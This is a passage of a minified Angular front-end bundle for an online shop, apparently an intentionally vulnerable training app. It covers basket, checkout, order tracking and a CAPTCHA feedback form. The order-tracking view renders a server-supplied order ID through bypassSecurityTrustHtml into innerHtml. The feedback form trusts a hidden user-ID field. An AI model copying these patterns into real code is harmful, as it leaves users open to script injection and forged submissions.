t.vpe,this.tableColumns=["image","product","quantity","price"],this.dataSource=[],this.bonus=0,this.itemTotal=0}ngOnInit(){this.allowEdit&&!this.tableColumns.includes("remove")&&this.tableColumns.push("remove"),this.load(),this.userService.whoAmI().subscribe(e=>{this.userEmail=e.email||"anonymous",this.userEmail="("+this.userEmail+")"},e=>{console.log(e)})}load(){this.basketService.find(parseInt(sessionStorage.getItem("bid"),10)).subscribe(e=>{this.isDeluxe()&&e.Products.forEach(o=>{o.price=o.deluxePrice}),this.dataSource=e.Products,this.itemTotal=e.Products.reduce((o,i)=>o+i.price*i.BasketItem.quantity,0),this.bonus=e.Products.reduce((o,i)=>o+Math.round(i.price/10)*i.BasketItem.quantity,0),this.sendToParent(this.dataSource.length)},e=>{console.log(e)})}delete(e){this.basketService.del(e).subscribe(()=>{this.load(),this.basketService.updateNumberOfCartItems()},o=>{console.log(o)})}inc(e){this.addToQuantity(e,1)}dec(e){this.addToQuantity(e,-1)}addToQuantity(e,o){this.basketService.get(e).subscribe(i=>{const r=i.quantity+o;this.basketService.put(e,{quantity:r<1?1:r}).subscribe(()=>{this.load(),this.basketService.updateNumberOfCartItems()},l=>{this.snackBarHelperService.open(l.error?.error,"errorBar"),console.log(l)})},i=>{console.log(i)})}sendToParent(e){this.emitTotal.emit([this.itemTotal,this.bonus]),this.emitProductCount.emit(e)}isDeluxe(){return this.deluxeGuard.isDeluxe()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ht),t.Y36(X),t.Y36(R),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-purchase-basket"]],inputs:{allowEdit:"allowEdit",displayTotal:"displayTotal",totalPrice:"totalPrice"},outputs:{emitTotal:"emitTotal",emitProductCount:"emitProductCount"},decls:27,vars:10,consts:[[3,"dataSource"],["matColumnDef","image"],["style","display: none;",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-md","","fxFlex","20%","class","content-align",4,"matCellDef"],["fxShow","","fxHide.lt-md","","fxFlex","20%","class","content-align",4,"matFooterCellDef"],["matColumnDef","product"],["fxFlex","35%","fxFlex.lt-md","30%","style","font-size: initial;",4,"matCellDef"],["fxFlex","35%","fxFlex.lt-md","30%",4,"matFooterCellDef"],["matColumnDef","quantity"],["fxFlex","16%","fxFlex.lt-md","35%","class","content-align",4,"matCellDef"],["fxFlex","16%","fxFlex.lt-md","35%","class","header-align",4,"matFooterCellDef"],["matColumnDef","price"],["fxShow","","fxHide.lt-md","","fxFlex","16%","style","font-size: initial;",4,"matCellDef"],["fxShow","","fxHide.lt-md","","fxFlex","16%",4,"matFooterCellDef"],["matColumnDef","remove",4,"ngIf"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],[4,"ngIf"],["id","price",4,"ngIf"],[2,"display","none"],["fxShow","","fxHide.lt-md","","fxFlex","20%",1,"content-align"],[1,"img-responsive","img-thumbnail",3,"src","alt"],["fxFlex","35%","fxFlex.lt-md","30%",2,"font-size","initial"],["fxFlex","35%","fxFlex.lt-md","30%"],["fxFlex","16%","fxFlex.lt-md","35%",1,"content-align"],["mat-icon-button","",3,"click",4,"ngIf"],[2,"font-size","initial"],["mat-icon-button","",3,"click"],[1,"fas","fa-minus-square"],[1,"fas","fa-plus-square"],["fxFlex","16%","fxFlex.lt-md","35%",1,"header-align"],["fxShow","","fxHide.lt-md","","fxFlex","16%",2,"font-size","initial"],["fxShow","","fxHide.lt-md","","fxFlex","16%"],["matColumnDef","remove"],["fxFlex","10%","fxFlex.lt-md","15%",4,"matCellDef"],["fxFlex","10%","fxFlex.lt-md","15%",4,"matFooterCellDef"],["fxFlex","10%","fxFlex.lt-md","15%"],[1,"far","fa-trash-alt"],["mat-footer-row","",4,"matFooterRowDef"],["mat-footer-row",""],["id","price"]],template:function(e,o){1&e&&(t.TgZ(0,"h1"),t._uU(1),t.ALo(2,"translate"),t.TgZ(3,"small"),t._uU(4),t.qZA()(),t.TgZ(5,"mat-table",0),t.ynx(6,1),t.YNc(7,Rt,1,0,"mat-header-cell",2),t.YNc(8,_t,2,2,"mat-cell",3),t.YNc(9,Yt,1,0,"mat-footer-cell",4),t.BQk(),t.ynx(10,5),t.YNc(11,Jt,1,0,"mat-header-cell",2),t.YNc(12,ft,2,1,"mat-cell",6),t.YNc(13,y,1,0,"mat-footer-cell",7),t.BQk(),t.ynx(14,8),t.YNc(15,S,1,0,"mat-header-cell",2),t.YNc(16,j,5,3,"mat-cell",9),t.YNc(17,et,2,0,"mat-footer-cell",10),t.BQk(),t.ynx(18,11),t.YNc(19,G,1,0,"mat-header-cell",2),t.YNc(20,it,2,1,"mat-cell",12),t.YNc(21,an,1,0,"mat-footer-cell",13),t.BQk(),t.YNc(22,cn,4,0,"ng-container",14),t.YNc(23,un,1,0,"mat-header-row",15),t.YNc(24,pn,1,0,"mat-row",16),t.YNc(25,mn,2,1,"span",17),t.qZA(),t.YNc(26,gn,3,4,"div",18)),2&e&&(t.xp6(1),t.hij(" ",t.lcZ(2,8,"TITLE_BASKET")," "),t.xp6(3),t.Oqu(o.userEmail),t.xp6(1),t.Q6J("dataSource",o.dataSource),t.xp6(17),t.Q6J("ngIf",o.allowEdit),t.xp6(1),t.Q6J("matHeaderRowDef",o.tableColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.tableColumns),t.xp6(1),t.Q6J("ngIf",o.displayTotal),t.xp6(1),t.Q6J("ngIf",o.totalPrice))},dependencies:[h.O5,p.yH,$.b8,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.mD,d.Ke,d.ge,d.ev,d.yh,d.XQ,d.Gk,d.Q2,u.X$],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.img-thumbnail[_ngcontent-%COMP%]{height:auto;width:90px}mat-cell[_ngcontent-%COMP%]{margin-bottom:15px;margin-top:15px;padding-left:10px;padding-right:10px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}mat-footer-cell[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px}.mat-footer-cell[_ngcontent-%COMP%]{font-weight:700}.content-align[_ngcontent-%COMP%]{display:flex;justify-content:center}#price[_ngcontent-%COMP%]{font-size:large;margin-top:30px;text-align:right;width:100%}"]}),n})();const hn=function(n){return{bonus:n}};O.vI.add(g.bMA);let _n=(()=>{class n{constructor(e,o){this.router=e,this.ngZone=o,this.productCount=0,this.bonus=0}checkout(){var e=this;this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/address/select"])}))}getProductCount(e){this.productCount=e}getBonusPoints(e){sessionStorage.setItem("itemTotal",e[0]),this.bonus=e[1]}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-basket"]],decls:8,vars:8,consts:[[1,"mat-elevation-z6"],[3,"allowEdit","emitTotal","emitProductCount"],["id","checkoutButton","color","primary","mat-raised-button","",1,"checkout-button",3,"disabled","click"],[1,"fas","fa-cart-arrow-down"],["translate","",1,"hint",3,"translateParams"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"app-purchase-basket",1),t.NdJ("emitTotal",function(r){return o.getBonusPoints(r)})("emitProductCount",function(r){return o.getProductCount(r)}),t.qZA(),t.TgZ(2,"button",2),t.NdJ("click",function(){return o.checkout()}),t._UZ(3,"i",3),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"div",4),t._uU(7,"CHECKOUT_FOR_BONUS_POINTS"),t.qZA()()),2&e&&(t.xp6(1),t.Q6J("allowEdit",!0),t.xp6(1),t.Q6J("disabled",o.productCount<1),t.xp6(2),t.hij(" ",t.lcZ(5,4,"BTN_CHECKOUT")," "),t.xp6(2),t.Q6J("translateParams",t.VKq(6,hn,o.bonus)))},dependencies:[u.Pi,x.lW,T.a8,_e,u.X$],styles:[".container[_ngcontent-%COMP%]{min-width:420px;width:40%}mat-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);justify-content:center;padding:12px 20px}.mat-row[_ngcontent-%COMP%]{padding-bottom:10px}.mat-column-description[_ngcontent-%COMP%], .mat-column-bonus[_ngcontent-%COMP%], .mat-column-price[_ngcontent-%COMP%]{margin-left:20px}.mat-column-quantity[_ngcontent-%COMP%] button[_ngcontent-%COMP%] mat-button-toggle[_ngcontent-%COMP%]{width:20px}.mat-column-quantity[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{width:22px}mat-form-field[_ngcontent-%COMP%]{margin-top:15px;width:100%}mat-expansion-panel[_ngcontent-%COMP%]{margin-bottom:20px}#checkoutButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.hint[_ngcontent-%COMP%]{display:flex;font-size:13px;justify-content:center;margin-top:5px}.payment-label[_ngcontent-%COMP%]{padding-top:10px}"]}),n})(),Qt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/track-order"}find(e){return e=encodeURIComponent(e),this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function fn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",27),t.qZA())}function Cn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",28),t.qZA())}function vn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",29),t.qZA())}function xn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",30),t.qZA())}function bn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",31),t.qZA())}function Tn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",32),t.qZA())}function An(n,a){if(1&n&&(t.TgZ(0,"span",33)(1,"span"),t._UZ(2,"i",34),t.qZA(),t.TgZ(3,"span",35),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.AsE("",e.results.eta," ",t.lcZ(5,2,"LABEL_DAYS"),"")}}function yn(n,a){if(1&n&&(t.TgZ(0,"span",33)(1,"span"),t._UZ(2,"i",36),t.qZA(),t.TgZ(3,"span",35),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.AsE("",e.results.eta," ",t.lcZ(5,2,"LABEL_DAYS"),"")}}function Zn(n,a){1&n&&(t.TgZ(0,"mat-header-cell",1),t._uU(1,"LABEL_PRODUCT"),t.qZA())}function wn(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.name,"")}}function Sn(n,a){1&n&&(t.TgZ(0,"mat-header-cell",38),t._uU(1,"LABEL_PRICE"),t.qZA())}function kn(n,a){if(1&n&&(t.TgZ(0,"mat-cell",39),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.price,"\\xa4")}}function In(n,a){1&n&&(t.TgZ(0,"mat-header-cell",1),t._uU(1,"LABEL_QUANTITY"),t.qZA())}function On(n,a){if(1&n&&(t.TgZ(0,"mat-cell",40),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.quantity,"")}}function Un(n,a){1&n&&(t.TgZ(0,"mat-header-cell",1),t._uU(1,"LABEL_TOTAL_PRICE"),t.qZA())}function Ln(n,a){if(1&n&&(t.TgZ(0,"mat-cell",41),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.total,"\\xa4")}}function Pn(n,a){1&n&&t._UZ(0,"mat-header-row")}function Nn(n,a){1&n&&t._UZ(0,"mat-row")}const En=function(n){return{bonus:n}};O.vI.add(g.zVD,g.UO1,g.sUJ,g.$KU,g.J9Y);var at=(()=>{return(n=at||(at={}))[n.New=0]="New",n[n.Packing=1]="Packing",n[n.Transit=2]="Transit",n[n.Delivered=3]="Delivered",at;var n})();let fe=(()=>{class n{constructor(e,o,i){this.route=e,this.trackOrderService=o,this.sanitizer=i,this.displayedColumns=["product","price","quantity","total price"],this.dataSource=new d.by,this.results={},this.status=at.New,this.Status=at}ngOnInit(){this.orderId=this.route.snapshot.queryParams.id,this.trackOrderService.find(this.orderId).subscribe(e=>{this.results.orderNo=this.sanitizer.bypassSecurityTrustHtml(`<code>${e.data[0].orderId}</code>`),this.results.email=e.data[0].email,this.results.totalPrice=e.data[0].totalPrice,this.results.products=e.data[0].products,this.results.eta=void 0!==e.data[0].eta?e.data[0].eta:"?",this.results.bonus=e.data[0].bonus,this.dataSource.data=this.results.products,this.status=e.data[0].delivered?at.Delivered:this.route.snapshot.data.type?at.New:this.results.eta>2?at.Packing:at.Transit})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.gz),t.Y36(Qt),t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-track-result"]],decls:48,vars:18,consts:[[1,"mat-elevation-z6","mat-own-card"],["translate",""],[3,"innerHtml"],[2,"text-align","center"],[1,"container-fluid","well"],[1,"row","fa-4x"],[4,"ngIf"],["class","fa-layers fa-fw",4,"ngIf"],["fxLayoutAlign","center",1,"table-wrapper"],[1,"table-heading","heading"],["fxLayoutAlign","center"],[1,"mat-elevation-z0",3,"dataSource"],["table",""],["matColumnDef","product"],["translate","",4,"matHeaderCellDef"],["class","product-name",4,"matCellDef"],["matColumnDef","price"],["fxShow","","fxHide.lt-md","","translate","",4,"matHeaderCellDef"],["class","product-price","fxShow","","fxHide.lt-md","",4,"matCellDef"],["matColumnDef","quantity"],["class","product-quantity",4,"matCellDef"],["matColumnDef","total price"],["class","product-total",4,"matCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],[1,"bonus-container"],["translate","",3,"translateParams"],[1,"fas","fa-warehouse","confirmation"],[1,"fas","fa-warehouse"],[1,"fas","fa-truck-loading","confirmation"],[1,"fas","fa-truck-loading"],[1,"fas","fa-truck","confirmation"],[1,"fas","fa-truck"],[1,"fa-layers","fa-fw"],[1,"fas","fa-home","confirmation"],[1,"fa-layers-counter","accent-notification",2,"width","max-content"],[1,"fas","fa-home"],[1,"product-name"],["fxShow","","fxHide.lt-md","","translate",""],["fxShow","","fxHide.lt-md","",1,"product-price"],[1,"product-quantity"],[1,"product-total"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1")(2,"span",1),t._uU(3,"TITLE_SEARCH_RESULTS"),t.qZA(),t._uU(4," - "),t._UZ(5,"span",2),t.qZA(),t.TgZ(6,"div",3)(7,"h3",1),t._uU(8,"LABEL_EXPECTED_DELIVERY"),t.qZA(),t.TgZ(9,"div",4)(10,"div",5),t.YNc(11,fn,2,0,"span",6),t.YNc(12,Cn,2,0,"span",6),t.YNc(13,vn,2,0,"span",6),t.YNc(14,xn,2,0,"span",6),t.YNc(15,bn,2,0,"span",6),t.YNc(16,Tn,2,0,"span",6),t.YNc(17,An,6,4,"span",7),t.YNc(18,yn,6,4,"span",7),t.qZA()()(),t.TgZ(19,"div",8)(20,"div",9)(21,"h2",1),t._uU(22,"LABEL_PRODUCT_ORDERED"),t.qZA()()(),t.TgZ(23,"div",10)(24,"mat-table",11,12),t.ynx(26,13),t.YNc(27,Zn,2,0,"mat-header-cell",14),t.YNc(28,wn,2,1,"mat-cell",15),t.BQk(),t.ynx(29,16),t.YNc(30,Sn,2,0,"mat-header-cell",17),t.YNc(31,kn,2,1,"mat-cell",18),t.BQk(),t.ynx(32,19),t.YNc(33,In,2,0,"mat-header-cell",14),t.YNc(34,On,2,1,"mat-cell",20),t.BQk(),t.ynx(35,21),t.YNc(36,Un,2,0,"mat-header-cell",14),t.YNc(37,Ln,2,1,"mat-cell",22),t.BQk(),t.YNc(38,Pn,1,0,"mat-header-row",23),t.YNc(39,Nn,1,0,"mat-row",24),t.qZA()(),t.TgZ(40,"div",25)(41,"h2",26),t._uU(42,"BONUS_POINTS_EARNED"),t.qZA(),t.TgZ(43,"p"),t._uU(44,"("),t._UZ(45,"span",2),t.ALo(46,"translate"),t._uU(47,")"),t.qZA()()()),2&e&&(t.xp6(5),t.Q6J("innerHtml",o.results.orderNo,t.oJD),t.xp6(6),t.Q6J("ngIf",o.status===o.Status.New),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.New),t.xp6(1),t.Q6J("ngIf",o.status===o.Status.Packing),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.Packing),t.xp6(1),t.Q6J("ngIf",o.status===o.Status.Transit),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.Transit),t.xp6(1),t.Q6J("ngIf",o.status===o.Status.Delivered),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.Delivered),t.xp6(6),t.Q6J("dataSource",o.dataSource),t.xp6(14),t.Q6J("matHeaderRowDef",o.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.displayedColumns),t.xp6(2),t.Q6J("translateParams",t.VKq(16,En,o.results.bonus)),t.xp6(4),t.Q6J("innerHtml",t.lcZ(46,14,"BONUS_FOR_FUTURE_PURCHASES"),t.oJD))},dependencies:[h.O5,u.Pi,p.Wh,$.b8,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,u.X$],styles:["mat-table[_ngcontent-%COMP%], .table-heading[_ngcontent-%COMP%]{width:90%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);height:35px;justify-content:center;padding:0 20px;width:90%}.product-name[_ngcontent-%COMP%]{margin-right:25px}.table-wrapper[_ngcontent-%COMP%]{margin-top:30px}.table-heading[_ngcontent-%COMP%] h4[_ngcontent-%COMP%]{margin-bottom:0}.row.fa-4x[_ngcontent-%COMP%] svg[_ngcontent-%COMP%]{margin-right:10px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.bonus-container[_ngcontent-%COMP%]{align-items:center;box-sizing:border-box;display:flex;flex-direction:column;margin-top:10px;place-content:stretch center}.bonus-container[_ngcontent-%COMP%] h2[_ngcontent-%COMP%]{margin:0;padding:0}"]}),n})(),Lt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Feedbacks"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Ce=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/captcha"}getCaptcha(){return this.http.get(this.host+"/").pipe((0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),rt=(()=>{class n{constructor(e){this._document=e}attachEnterKeyHandler(e,o,i){const r=this._document.getElementById(e),l=this._document.getElementById(o);r.addEventListener("keyup",function(m){m.preventDefault(),13===m.keyCode&&!l.disabled&&i()})}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(h.K0))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var f=c(9549),B=c(4144),ve=c(7314);function Mn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_COMMENT "),t.qZA())}function Dn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CAPTCHA "),t.qZA())}function qn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_CAPTCHA "),t.qZA())}const Fn=function(){return{length:"160"}};O.vI.add(g.Tab,g.XCy);let Bn=(()=>{class n{constructor(e,o,i,r,l,m){this.userService=e,this.captchaService=o,this.feedbackService=i,this.formSubmitService=r,this.translate=l,this.snackBarHelperService=m,this.authorControl=new s.p4({value:"",disabled:!0},[]),this.feedbackControl=new s.p4("",[s.kI.required,s.kI.maxLength(160)]),this.captchaControl=new s.p4("",[s.kI.required,s.kI.pattern("-?[\\\\d]*")]),this.userIdControl=new s.p4("",[]),this.rating=0,this.feedback=void 0}ngOnInit(){this.userService.whoAmI().subscribe(e=>{this.feedback={},this.userIdControl.setValue(e.id),this.feedback.UserId=e.id,this.authorControl.setValue(e.email?`***${e.email.slice(3)}`:"anonymous")},e=>{this.feedback=void 0,console.log(e)}),this.getNewCaptcha(),this.formSubmitService.attachEnterKeyHandler("feedback-form","submitButton",()=>{this.save()})}getNewCaptcha(){this.captchaService.getCaptcha().subscribe(e=>{this.captcha=e.captcha,this.captchaId=e.captchaId},e=>e)}save(){this.feedback.captchaId=this.captchaId,this.feedback.captcha=this.captchaControl.value,this.feedback.comment=`${this.feedbackControl.value} (${this.authorControl.value})`,this.feedback.rating=this.rating,this.feedback.UserId=this.userIdControl.value,this.feedbackService.save(this.feedback).subscribe(e=>{5===e.rating?this.translate.get("FEEDBACK_FIVE_STAR_THANK_YOU").subscribe(o=>{this.snackBarHelperService.open(o)},o=>{this.snackBarHelperService.open(o)}):this.translate.get("FEEDBACK_THANK_YOU").subscribe(o=>{this.snackBarHelperService.open(o)},o=>{this.snackBarHelperService.open(o)}),this.feedback={},this.ngOnInit(),this.resetForm()},e=>{console.log(e),this.snackBarHelperService.open(e.error,"errorBar"),this.feedback={},this.resetCaptcha()})}resetForm(){this.authorControl.markAsUntouched(),this.authorControl.markAsPristine(),this.authorControl.setValue(""),this.feedbackControl.markAsUntouched(),this.feedbackControl.markAsPristine(),this.feedbackControl.setValue(""),this.rating=0,this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue("")}resetCaptcha(){this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue("")}formatRating(e){return`${e}\\u2605`}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(Ce),t.Y36(Lt),t.Y36(rt),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-contact"]],decls:52,vars:26,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["id","feedback-form",1,"form-container"],["hidden","","type","text","id","userId",3,"formControl"],["appearance","outline","color","accent"],["matInput","","type","text","aria-label","Field with the name of the author",3,"formControl"],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["id","comment","matInput","","matAutosizeMinRows","4","matAutosizeMaxRows","4","matTextareaAutosize","","cols","50","maxlength","160","aria-label","Field for entering the comment or the feedback",3,"formControl","placeholder"],["comment",""],["align","end"],["translate","",4,"ngIf"],[1,"rating-container"],["translate","",2,"font-weight","500","margin-right","8px","float","left"],["id","rating","min","1","max","5","thumbLabel","","tickInterval","1","aria-label","Slider for selecting the star rating",3,"value","displayWith","valueChange"],[2,"margin-bottom","10px","margin-top","10px"],[2,"font-weight","500"],["translate","",2,"font-size","small"],["id","captcha","aria-label","CAPTCHA code which must be solved"],[2,"font-size","small"],["id","captchaControl","matInput","","type","text","aria-label","Field for the result of the CAPTCHA code","pattern","-?[\\\\d]*",3,"formControl","placeholder"],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Button to send the review",3,"disabled","click"],[1,"material-icons"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"SECTION_CUSTOMER_FEEDBACK"),t.qZA(),t.TgZ(4,"div",3),t._UZ(5,"input",4),t.TgZ(6,"mat-form-field",5)(7,"mat-label",2),t._uU(8,"LABEL_AUTHOR"),t.qZA(),t._UZ(9,"input",6),t.qZA(),t.TgZ(10,"mat-form-field",5)(11,"mat-label",2),t._uU(12,"LABEL_COMMENT"),t.qZA(),t.TgZ(13,"mat-hint",2),t._UZ(14,"i",7),t.TgZ(15,"em",8),t._uU(16),t.ALo(17,"translate"),t.qZA()(),t._UZ(18,"textarea",9,10),t.ALo(20,"translate"),t.TgZ(21,"mat-hint",11),t._uU(22),t.qZA(),t.YNc(23,Mn,2,0,"mat-error",12),t.qZA(),t.TgZ(24,"div",13)(25,"label",14),t._uU(26,"LABEL_RATING"),t.qZA(),t.TgZ(27,"mat-slider",15),t.NdJ("valueChange",function(r){return o.rating=r}),t.qZA()(),t.TgZ(28,"div",16)(29,"label",17),t._uU(30,"CAPTCHA:"),t.qZA(),t._uU(31,"\\xa0\\xa0"),t.TgZ(32,"span",18),t._uU(33,"LABEL_WHAT_IS"),t.qZA(),t._uU(34,"\\xa0 "),t.TgZ(35,"code",19),t._uU(36),t.qZA(),t._uU(37,"\\xa0"),t.TgZ(38,"label",20),t._uU(39,"?"),t.qZA()(),t.TgZ(40,"mat-form-field",5)(41,"mat-label",2),t._uU(42,"LABEL_RESULT"),t.qZA(),t._UZ(43,"input",21),t.ALo(44,"translate"),t.YNc(45,Dn,2,0,"mat-error",12),t.YNc(46,qn,2,0,"mat-error",12),t.qZA()(),t.TgZ(47,"button",22),t.NdJ("click",function(){return o.save()}),t.TgZ(48,"i",23),t._uU(49," send "),t.qZA(),t._uU(50),t.ALo(51,"translate"),t.qZA()()()),2&e){const i=t.MAs(19);t.xp6(5),t.Q6J("formControl",o.userIdControl),t.xp6(4),t.Q6J("formControl",o.authorControl),t.xp6(7),t.Oqu(t.xi3(17,16,"MAX_TEXTAREA_LENGTH",t.DdM(25,Fn))),t.xp6(2),t.s9C("placeholder",t.lcZ(20,19,"WRITE_REVIEW_PLACEHOLDER")),t.Q6J("formControl",o.feedbackControl),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/160"),t.xp6(1),t.Q6J("ngIf",o.feedbackControl.invalid&&o.feedbackControl.errors.required),t.xp6(4),t.Q6J("value",o.rating)("displayWith",o.formatRating),t.xp6(9),t.Oqu(o.captcha),t.xp6(7),t.s9C("placeholder",t.lcZ(44,21,"MANDATORY_CAPTCHA")),t.Q6J("formControl",o.captchaControl),t.xp6(2),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.pattern),t.xp6(1),t.Q6J("disabled",o.authorControl.invalid||o.feedbackControl.invalid||o.captchaControl.invalid||!o.rating),t.xp6(3),t.hij(" ",t.lcZ(51,23,"BTN_SUBMIT")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.nD,s.c5,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,ve.pH,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:30%}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}.rating-container[_ngcontent-%COMP%]{margin-bottom:15px;margin-top:15px}.star[_ngcontent-%COMP%]{color:#c8c8c8}.active[_ngcontent-%COMP%], .select[_ngcontent-%COMP%]{color:gold}[_nghost-%COMP%] .br{margin:0!important}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}"]}),n})();var xe=c(5192);function Rn(n,a){if(1&n&&(t.TgZ(0,"a",15)(1,"button",16),t._UZ(2,"i",17),t._uU(3," Twitter"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.twitterUrl,t.LSH)}}function Yn(n,a){if(1&n&&(t.TgZ(0,"a",18)(1,"button",16),t._UZ(2,"i",19),t._uU(3," Facebook"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.facebookUrl,t.LSH)}}function Jn(n,a){if(1&n&&(t.TgZ(0,"a",20)(1,"button",16),t._UZ(2,"i",21),t._uU(3," Slack"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.slackUrl,t.LSH)}}function Qn(n,a){if(1&n&&(t.TgZ(0,"a",22)(1,"button",16),t._UZ(2,"i",23),t._uU(3," Reddit"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.redditUrl,t.LSH)}}function Hn(n,a){if(1&n&&(t.TgZ(0,"a",24)(1,"button",16),t._UZ(2,"i",25),t._uU(3," Press Kit"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.pressKitUrl,t.LSH)}}function Gn(n,a){if(1&n&&(t.TgZ(0,"a",26)(1,"button",16),t._UZ(2,"i",27),t._uU(3," NFT"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.nftUrl,t.LSH)}}function jn(n,a){if(1&n&&(t.TgZ(0,"div",8)(1,"h3")(2,"span",3),t._uU(3,"SECTION_SOCIAL_MEDIA"),t.qZA()(),t.YNc(4,Rn,4,1,"a",9),t.YNc(5,Yn,4,1,"a",10),t.YNc(6,Jn,4,1,"a",11),t.YNc(7,Qn,4,1,"a",12),t.YNc(8,Hn,4,1,"a",13),t.YNc(9,Gn,4,1,"a",14),t.qZA()),2&n){const 